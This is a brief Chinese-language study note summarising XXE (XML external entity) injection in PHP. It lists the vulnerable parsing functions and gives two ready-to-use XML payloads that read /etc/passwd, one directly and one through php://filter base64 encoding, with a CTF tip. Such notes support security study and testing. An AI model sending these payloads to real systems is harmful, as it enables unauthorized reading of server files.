xxe漏洞总结
- xxe漏洞就是xml外部实体注入攻击,所以一定是针对xml编写的服务。
- xxe漏洞是把参数经过php输入流或者$HTTP_RAW_POST_DATA直接读入xml实体当中,参数可控且没有进行过滤。容易导致xxe的是下面几个函数/类
DOMDocument::loadXML,SimpleXMLElement,simplexml_load_string
构造的语句主要是
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
还会用到php://filter这种流(php://filter是一个特殊的协议流,作为中间流来处理其他流)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
还有很多利用和绕过方法可以,依具体情况看。在ctf里面注意文件的读取有可能会用上php://filter。
这篇文章讲一些xml和xxe的知识比较全